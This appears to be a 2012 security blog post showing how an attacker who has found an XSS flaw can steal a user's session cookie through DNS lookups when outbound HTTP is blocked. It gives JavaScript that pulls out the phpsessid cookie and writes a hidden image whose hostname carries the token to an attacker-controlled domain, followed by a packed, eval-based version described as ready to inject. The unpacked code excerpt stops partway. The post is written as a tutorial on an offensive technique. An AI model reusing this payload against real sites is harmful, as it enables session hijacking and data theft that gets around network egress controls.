Home > Security > XSS and DNS Covert Channels

XSS and DNS Covert Channels

October 9th, 2012 Leave a comment Go to comments

Like gum and nuts (They’re finally together!), let’s combine two classic attack techniques into one big gooey ball of goodness. Nothing here is anything new, just another way of looking for solutions to a problem.

So you’ve found an XSS flaw in an application and you’d like to steal some of the wonderful treasures in a user’s browser, but some nasty security administrator only allows access to a small set of approved sites. Therefore the classic method of requesting an external script with the cookie value as a query probably is not going to work. Enter covert channels via DNS requests.

Even if the specific HTTP request is being blocked by some form of proxy, in the vast majority of cases a DNS request will still be allowed. We’re not looking for the ability to tunnel out encoded packets or any such fancy-pants trickery. We just want a normal old A record request. We don’t care if the client system itself makes the request or if it passes through an internal resolver – it just has to make it out. And obviously the request needs to be made to a domain where we control the SOA and can log the incoming requests. Again, barring the need to be truly stealthy, we don’t really care if a record is returned – our goals are achieved once the request is made.

The Code

So, couple assumptions going on here.

  1. We’ve found an XSS flaw in an application
  2. We know the session mechanism or other such token that we want to steal from the end user.
  3. We have our DNS server.
  4. We can inject into the HTML body (as opposed to being only able to inject into a contained element ala javascript events)

So, let’s look at a basic version of the code:

function dnSession() {
var myDomain = "zombietango.net";
var prizeCookie = "phpsessid";
var cookieJar = document.cookie.split(/;\s*/);
for (var i = 0; i < cookieJar.length; i++)
var cookiePiece = cookieJar[i];
if (cookiePiece.toLowerCase().indexOf(prizeCookie) != -1) {
var cookieCrumb = cookiePiece.split("=");
var cookieType = cookieCrumb[0];
var cookieYum = cookieCrumb[1];


Very simple, we define a couple variables. The first is the root of the domain that we will query. The second is the specific cookie name we are trying to grab the value for. Since we’ve already identified our vulnerability, we should already know exactly what we are looking for.

After that, we carve up the full cookie string into individual name/value pairs by doing a split on the ‘;’ character. Then we iterate through that array until we find a pair that matches our desired cookie. Split that pair and we have our specific token value that we trying to steal. At this point, we’re at a pretty normal stage in XSS exploitation. In fact, nothing about this technique is really all that different from a typical XSS token exfiltration. The special sauce is just in how we are approaching the exfiltration. Normally, as we see in this code example, we’d just write out a tracker img or an AJAX request or a form post or something that would rely on the client being able to reach the attacker controlled web server to deliver the token. In this paradigm, we are looking to construct a domain that when placed into the DOM results in a DNS lookup. The hostname being resolved contains the token being passed to the attacker.

So back to out example. Once we’ve grabbed our token, the javascript writes out an hidden img tag that has it’s source set to <token>.attackerdomain.com. Since we control attackerdomain.com, we receive the token when the client attempts to retrieve the image file. Voila! We’ve exfiltrated data through the control specifically meant to keep users from sending data out of the network.

Trimming it Down

So, we have a chunk of working javascript code. This would be great if we could inject the code as part of a linked script file, but the whole point of this exercise is to pull off data exfiltration when we can’t get the user to our script page. So we need to get this into a smaller package. The first step would be to pack the javascript. Let’s use Dean Edward’s packer for this task. Packed using both the ‘shrink variable’ and ‘base62’ options, the code above looks like:

eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('7 3(){2 a="8.9";2 b="h";2 c=4.j.5(/;\\s*/);k(2 i=0;i<c.l;i++){2 d=c[i];m(d.n().o(b)!=-1){2 e=d.5("=");2 f=e[0];2 g=e[1];4.p("<q r=\'t:6;u:6;v:w;\' x=\'y://"+g+"."+a+"\'>")}}}3();',35,35,'||var|dnSession|document|split|1px|function|zombietango|net||||||||phpsessid||cookie|for|length|if|toLowerCase|indexOf|write|img|style||height|width|display|none|src|http'.split('|'),0,{}))

Smaller and definitely injectable. But let’s go one more step and URL encode this bad boy (I like Burp’s decoder module – use what you like):


In this specific example, I’ve just wrapped the JS in a set of <script> tags. This may or may not be appropriate based on your injection point. You’ve now got a nice, albeit long, piece of URL ready text to pop into your vulnerable query parameter. I’m sure there are some inefficiencies in my JS code that could be resolved to make the final package shorter, but this at least gets the idea across.

Categories: Security Tags:
  1. No comments yet.
  1. No trackbacks yet.